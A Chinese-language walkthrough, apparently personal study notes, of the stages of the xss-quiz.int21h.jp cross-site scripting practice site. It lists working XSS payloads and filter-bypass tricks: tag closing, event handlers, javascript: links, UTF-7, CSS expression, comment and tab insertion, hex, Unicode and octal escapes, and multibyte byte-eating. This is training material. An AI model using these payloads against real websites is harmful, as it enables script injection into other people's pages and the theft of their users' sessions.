http://xss-quiz.int21h.jp/可用于练习xss漏洞
直接注入
查看代码:
制造闭合语句
直接输入时无变化 使用burp后查看具有两个参数的传递 通过更改两个参数参数的注入 达到目的 p2为主要的参数 试用其判断 两个参数必须有值 开始只改变p1的值没有变化。。。发现p2是主要参数 后来改变p2参数 又忘记改p1了。
与第三题相似 不过多了个参数p3 尝试使用第三关的方法 不行
看见了这个可与前面第二题相似 尝试 构造闭合
"><script>alert(document.domain);</script>
就成功了
打开控制台 感觉可以构造闭合 尝试一下 但长度太短 更改一下 页面输入:"><script>alert(document.domain)</script> 然后成功了
与第五关相似,先使用第五关构造的payload查看第六关的不同 法相 左右尖括号被过滤了
本想有没有转义什么之类的 逃脱 看了下提示 使用事件属性处理 就可以避免左右尖括号了 构造payload: “ οnclick=”alert(document.domain)” 成功了
使用第六关方法查看不同
直接连到一起了 尝试构造闭合
还是不行 看见使用第六题的场景 少使用一个括号可以使其闭合 开始填了括号 没注意多了个双引号 Payload:” οnclick=alert(document.domain)
好像这里的onclick事件 左双引号被自动补齐了 试了几次 应该是有了空格之后 自动把第一个双引号括在一起 后面事件的左双引号 因为是事件 再自动补齐了 过滤双引号
按照惯例 输入测试
尝试构造了闭合都不行 抓包查看
被转码了 尝试该参数不行 换方法
在a标签中 构造javascript协议 点击触发
js伪协议 href属性 标签的 href 属性用于指定超链接目标的 URL,href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。 语法: 作用: javascript:是表示在触发默认动作时,执行一段JavaScript代码,而 javascript:; 表示什么都不执行,这样点击时就没有任何反应。 弹出域名 payload:javascript:alert(“document.domain”);
输入参数测试
发现存在一个参数 且页面没有过多展示 于是抓包
与第三题详细 构造 看看有什么不同
发现依然不行 看到charset是认不到的 百度发现是日文编码 改为utf 再试一次 还是有问题 上网查:这一关需要使用 IE浏览器 将payload构造为 UTF-7编码 网上说 ie7 或 ie8 - - 本地测试都没有复现 Payload:+/v8 +ACI- οnmοuseοver=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4-
使用ie 还是不行 放弃了
粗暴点
随意参数输入查看 不管怎么写 每次的domain都被过滤了 于是构造payload:
"> <img src=x onerror=alert(document.domain)>现在好像进不去了 http://xss-quiz.int21h.jp/stage11th.php?sid=756e90d9a168c24e2abbc43d1f4409ce6ff70de3 这里主要是针对关键字,进行了混淆 这里我们使用特殊字符进行绕过:
<a href="javascr	ipt:alert(document.domain);">hack404</a>">左右括号 双引号 都被过滤
解:要使用 ie浏览器 使用双命令解释符号`` 替换为一个双引号不会注释 Payload:
``<img src=x onerror=alert(document.domain)>我的是ie版本是10 不行 粗暴点 直接输入到下一题
测试
好像还是不行
还是需要ie8 在CSS样式中利用expression实现javascript中的onmouseover或onmouseout事件; Payload:xss:expression(alert(document.domain));
测试
将script变为了xxx 还是要ie8 过滤了url/script/eval/expression,可以插入注释符绕过: xss:expr\0ession(alert(document.domain)); xss:expr/**/ession(alert(document.domain));
css expression(css表达式):又称为dynamic properties(动态属性)是早期html的产物,可以在css中定义表达式来达到建立元素间的联系的作用,从IE5开始得到支持,后因标准 性能 安全等问题,微软从IE8 beta2标准模式开始,取消了css expression的支持。
输入测试后发现<>做了转义 于是尝试使用事件 发现也不行 我们不直接提交 < > \ \ 这些字符将这些字符转换为其他进制进行转换
16进制编码 \x3cscript\x3ealert(document.domain);\x3c/script\x3e Unicode编码 \u003cscript\u003ealert(document.domain);\u003c/script\u003e
\、< >被过滤了, 绕过: Unicode编码 \u003cimg src=x οnerrοr=alert(document.domain)\u003e 八进制 \74img src=x οnerrοr=alert(document.domain)\76
需要ie 利用特殊字节吃掉双引号 抓包 p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
需要ie payload:%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
可以直接将其a标签 利用伪协议进行构造函数通关 payloaad:javascript:alert(document.domain);
可以使用IEtest模拟ie环境联系。